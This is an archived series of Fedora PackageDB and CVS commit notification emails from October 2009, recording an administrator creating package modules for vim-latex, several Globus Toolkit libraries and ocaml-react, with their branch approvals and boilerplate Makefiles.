From pkgdb at fedoraproject.org  Sat Oct 10 22:12:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:12:58 +0000
Subject: [pkgdb] vim-latex (Fedora, 10) updated by kevin
Message-ID: <20091010221258.87AFF10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for vim-latex
kevin has set commit to Approved for 107427 on vim-latex (Fedora 11)
kevin has set checkout to Approved for 107427 on vim-latex (Fedora 11)
kevin has set build to Approved for 107427 on vim-latex (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sat Oct 10 22:12:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:12:58 +0000
Subject: [pkgdb] vim-latex (Fedora, 10) updated by kevin
Message-ID: <20091010221258.AB49510F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for vim-latex
kevin has set commit to Approved for 107427 on vim-latex (Fedora 12)
kevin has set checkout to Approved for 107427 on vim-latex (Fedora 12)
kevin has set build to Approved for 107427 on vim-latex (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sat Oct 10 22:12:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:12:58 +0000
Subject: [pkgdb] vim-latex (Fedora, 10) updated by kevin
Message-ID: <20091010221258.953FF10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for vim-latex
kevin has set commit to Approved for 107427 on vim-latex (Fedora 10)
kevin has set checkout to Approved for 107427 on vim-latex (Fedora 10)
kevin has set build to Approved for 107427 on vim-latex (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From kevin at fedoraproject.org  Sat Oct 10 22:13:12 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:13:12 +0000 (UTC)
Subject: rpms/vim-latex - New directory
Message-ID: <20091010221312.1837C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-latex
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn13405/rpms/vim-latex

Log Message:
Directory /cvs/pkgs/rpms/vim-latex added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:13:12 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:13:12 +0000 (UTC)
Subject: rpms/vim-latex/devel - New directory
Message-ID: <20091010221312.39DB711C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-latex/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn13405/rpms/vim-latex/devel

Log Message:
Directory /cvs/pkgs/rpms/vim-latex/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:13:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:13:19 +0000 (UTC)
Subject: rpms/vim-latex Makefile,NONE,1.1
Message-ID: <20091010221319.32FF511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-latex
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn13405/rpms/vim-latex

Added Files:
	Makefile 
Log Message:
Setup of module vim-latex


--- NEW FILE Makefile ---
# Top level Makefile for module vim-latex
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:13:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:13:19 +0000 (UTC)
Subject: rpms/vim-latex/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091010221319.7F1BE11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-latex/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn13405/rpms/vim-latex/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module vim-latex


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: vim-latex
# $Id: Makefile,v 1.1 2009/10/10 22:13:19 kevin Exp $
NAME := vim-latex
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:08 +0000
Subject: [pkgdb] globus-authz-callout-error was added for ellert
Message-ID: <20091010221408.9E69710F880@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-authz-callout-error with summary Globus Toolkit - Globus authz error library
kevin has approved Package globus-authz-callout-error
kevin has added a Fedora devel branch for globus-authz-callout-error with an owner of ellert
kevin has approved globus-authz-callout-error in Fedora devel
kevin has approved Package globus-authz-callout-error
kevin has set commit to Approved for 107427 on globus-authz-callout-error (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-authz-callout-error (Fedora devel)
kevin has set build to Approved for 107427 on globus-authz-callout-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz-callout-error



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:10 +0000
Subject: [pkgdb] globus-authz-callout-error summary updated by kevin
Message-ID: <20091010221410.75B0A10F895@bastion2.fedora.phx.redhat.com>

kevin set package globus-authz-callout-error summary to Globus Toolkit - Globus authz error library

To make changes to this package see:
  /pkgdb/packages/name/globus-authz-callout-error



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:10 +0000
Subject: [pkgdb] globus-authz-callout-error (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221410.8248E10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-authz-callout-error
kevin has set commit to Approved for 107427 on globus-authz-callout-error (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-authz-callout-error (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-authz-callout-error (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz-callout-error



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:10 +0000
Subject: [pkgdb] globus-authz-callout-error (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221410.965CE10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-authz-callout-error
kevin has set commit to Approved for 107427 on globus-authz-callout-error (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-authz-callout-error (Fedora 11)
kevin has set build to Approved for 107427 on globus-authz-callout-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz-callout-error



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:10 +0000
Subject: [pkgdb] globus-authz-callout-error (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221410.BFB8B10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-authz-callout-error
kevin has set commit to Approved for 107427 on globus-authz-callout-error (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-authz-callout-error (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-authz-callout-error (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz-callout-error



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:10 +0000
Subject: [pkgdb] globus-authz-callout-error (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221410.B002510F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-authz-callout-error
kevin has set commit to Approved for 107427 on globus-authz-callout-error (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-authz-callout-error (Fedora 12)
kevin has set build to Approved for 107427 on globus-authz-callout-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-authz-callout-error



From kevin at fedoraproject.org  Sat Oct 10 22:14:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:14:23 +0000 (UTC)
Subject: rpms/globus-authz-callout-error - New directory
Message-ID: <20091010221423.3970811C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz-callout-error
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm14078/rpms/globus-authz-callout-error

Log Message:
Directory /cvs/pkgs/rpms/globus-authz-callout-error added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:14:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:14:23 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/devel - New directory
Message-ID: <20091010221423.888C211C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz-callout-error/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm14078/rpms/globus-authz-callout-error/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-authz-callout-error/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:14:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:14:39 +0000 (UTC)
Subject: rpms/globus-authz-callout-error Makefile,NONE,1.1
Message-ID: <20091010221439.AF2C811C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz-callout-error
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm14078/rpms/globus-authz-callout-error

Added Files:
	Makefile 
Log Message:
Setup of module globus-authz-callout-error


--- NEW FILE Makefile ---
# Top level Makefile for module globus-authz-callout-error
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:14:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:14:41 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091010221441.79EDD11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-authz-callout-error/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm14078/rpms/globus-authz-callout-error/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-authz-callout-error


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-authz-callout-error
# $Id: Makefile,v 1.1 2009/10/10 22:14:40 kevin Exp $
NAME := globus-authz-callout-error
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:52 +0000
Subject: [pkgdb] globus-gram-protocol was added for ellert
Message-ID: <20091010221452.66AC910F880@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-gram-protocol with summary Globus Toolkit - GRAM Protocol Library
kevin has approved Package globus-gram-protocol
kevin has added a Fedora devel branch for globus-gram-protocol with an owner of ellert
kevin has approved globus-gram-protocol in Fedora devel
kevin has approved Package globus-gram-protocol
kevin has set commit to Approved for 107427 on globus-gram-protocol (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-gram-protocol (Fedora devel)
kevin has set build to Approved for 107427 on globus-gram-protocol (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-protocol



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:54 +0000
Subject: [pkgdb] globus-gram-protocol summary updated by kevin
Message-ID: <20091010221454.D6FCF10F8A4@bastion2.fedora.phx.redhat.com>

kevin set package globus-gram-protocol summary to Globus Toolkit - GRAM Protocol Library

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-protocol



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:54 +0000
Subject: [pkgdb] globus-gram-protocol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221454.DBE1410F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-gram-protocol
kevin has set commit to Approved for 107427 on globus-gram-protocol (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-gram-protocol (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-gram-protocol (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-protocol



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:54 +0000
Subject: [pkgdb] globus-gram-protocol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221455.04D5910F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-gram-protocol
kevin has set commit to Approved for 107427 on globus-gram-protocol (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-gram-protocol (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-gram-protocol (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-protocol



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:54 +0000
Subject: [pkgdb] globus-gram-protocol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221455.0066C10F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-gram-protocol
kevin has set commit to Approved for 107427 on globus-gram-protocol (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-gram-protocol (Fedora 11)
kevin has set build to Approved for 107427 on globus-gram-protocol (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-protocol



From pkgdb at fedoraproject.org  Sat Oct 10 22:14:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:14:54 +0000
Subject: [pkgdb] globus-gram-protocol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221455.109E210F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-gram-protocol
kevin has set commit to Approved for 107427 on globus-gram-protocol (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-gram-protocol (Fedora 12)
kevin has set build to Approved for 107427 on globus-gram-protocol (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-gram-protocol



From kevin at fedoraproject.org  Sat Oct 10 22:15:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:08 +0000 (UTC)
Subject: rpms/globus-gram-protocol - New directory
Message-ID: <20091010221508.5F8B111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-protocol
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj14735/rpms/globus-gram-protocol

Log Message:
Directory /cvs/pkgs/rpms/globus-gram-protocol added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:15:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:08 +0000 (UTC)
Subject: rpms/globus-gram-protocol/devel - New directory
Message-ID: <20091010221508.974E411C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-protocol/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj14735/rpms/globus-gram-protocol/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-gram-protocol/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:15:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:26 +0000 (UTC)
Subject: rpms/globus-gram-protocol Makefile,NONE,1.1
Message-ID: <20091010221526.ED8DE11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-protocol
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj14735/rpms/globus-gram-protocol

Added Files:
	Makefile 
Log Message:
Setup of module globus-gram-protocol


--- NEW FILE Makefile ---
# Top level Makefile for module globus-gram-protocol
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:15:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:27 +0000 (UTC)
Subject: rpms/globus-gram-protocol/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091010221527.77EC411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gram-protocol/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj14735/rpms/globus-gram-protocol/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-gram-protocol


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-gram-protocol
# $Id: Makefile,v 1.1 2009/10/10 22:15:27 kevin Exp $
NAME := globus-gram-protocol
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:15:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:15:40 +0000
Subject: [pkgdb] globus-gass-cache summary updated by kevin
Message-ID: <20091010221540.BBCF810F8A9@bastion2.fedora.phx.redhat.com>

kevin set package globus-gass-cache summary to Globus Toolkit - Globus Gass Cache

To make changes to this package see:
  /pkgdb/packages/name/globus-gass-cache



From pkgdb at fedoraproject.org  Sat Oct 10 22:15:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:15:38 +0000
Subject: [pkgdb] globus-gass-cache was added for ellert
Message-ID: <20091010221538.8CFD810F8A4@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-gass-cache with summary Globus Toolkit - Globus Gass Cache
kevin has approved Package globus-gass-cache
kevin has added a Fedora devel branch for globus-gass-cache with an owner of ellert
kevin has approved globus-gass-cache in Fedora devel
kevin has approved Package globus-gass-cache
kevin has set commit to Approved for 107427 on globus-gass-cache (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-gass-cache (Fedora devel)
kevin has set build to Approved for 107427 on globus-gass-cache (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-gass-cache



From pkgdb at fedoraproject.org  Sat Oct 10 22:15:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:15:40 +0000
Subject: [pkgdb] globus-gass-cache (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221540.CCC2110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-gass-cache
kevin has set commit to Approved for 107427 on globus-gass-cache (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-gass-cache (Fedora 11)
kevin has set build to Approved for 107427 on globus-gass-cache (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-gass-cache



From pkgdb at fedoraproject.org  Sat Oct 10 22:15:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:15:40 +0000
Subject: [pkgdb] globus-gass-cache (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221540.E646D10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-gass-cache
kevin has set commit to Approved for 107427 on globus-gass-cache (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-gass-cache (Fedora 12)
kevin has set build to Approved for 107427 on globus-gass-cache (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-gass-cache



From pkgdb at fedoraproject.org  Sat Oct 10 22:15:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:15:40 +0000
Subject: [pkgdb] globus-gass-cache (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221541.4F0F210F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-gass-cache
kevin has set commit to Approved for 107427 on globus-gass-cache (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-gass-cache (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-gass-cache (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-gass-cache



From pkgdb at fedoraproject.org  Sat Oct 10 22:15:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:15:40 +0000
Subject: [pkgdb] globus-gass-cache (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221541.90D2410F8BE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-gass-cache
kevin has set commit to Approved for 107427 on globus-gass-cache (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-gass-cache (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-gass-cache (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-gass-cache



From kevin at fedoraproject.org  Sat Oct 10 22:15:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:49 +0000 (UTC)
Subject: rpms/globus-gass-cache - New directory
Message-ID: <20091010221549.15BA011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gass-cache
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsO15540/rpms/globus-gass-cache

Log Message:
Directory /cvs/pkgs/rpms/globus-gass-cache added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:15:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:49 +0000 (UTC)
Subject: rpms/globus-gass-cache/devel - New directory
Message-ID: <20091010221549.37E3411C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gass-cache/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsO15540/rpms/globus-gass-cache/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-gass-cache/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:15:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:56 +0000 (UTC)
Subject: rpms/globus-gass-cache Makefile,NONE,1.1
Message-ID: <20091010221556.8901311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gass-cache
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsO15540/rpms/globus-gass-cache

Added Files:
	Makefile 
Log Message:
Setup of module globus-gass-cache


--- NEW FILE Makefile ---
# Top level Makefile for module globus-gass-cache
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:15:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:15:56 +0000 (UTC)
Subject: rpms/globus-gass-cache/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091010221556.CD2AA11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gass-cache/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsO15540/rpms/globus-gass-cache/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-gass-cache


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-gass-cache
# $Id: Makefile,v 1.1 2009/10/10 22:15:56 kevin Exp $
NAME := globus-gass-cache
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:16:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:16:28 +0000
Subject: [pkgdb] ocaml-react was added for rjones
Message-ID: <20091010221628.650F710F8A8@bastion2.fedora.phx.redhat.com>

kevin has added Package ocaml-react with summary OCaml framework for Functional Reactive Programming (FRP)
kevin has approved Package ocaml-react
kevin has added a Fedora devel branch for ocaml-react with an owner of rjones
kevin has approved ocaml-react in Fedora devel
kevin has approved Package ocaml-react
kevin has set commit to Approved for 107427 on ocaml-react (Fedora devel)
kevin has set checkout to Approved for 107427 on ocaml-react (Fedora devel)
kevin has set build to Approved for 107427 on ocaml-react (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ocaml-react



From pkgdb at fedoraproject.org  Sat Oct 10 22:16:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:16:29 +0000
Subject: [pkgdb] ocaml-react summary updated by kevin
Message-ID: <20091010221629.CE0DF10F8AF@bastion2.fedora.phx.redhat.com>

kevin set package ocaml-react summary to OCaml framework for Functional Reactive Programming (FRP)

To make changes to this package see:
  /pkgdb/packages/name/ocaml-react
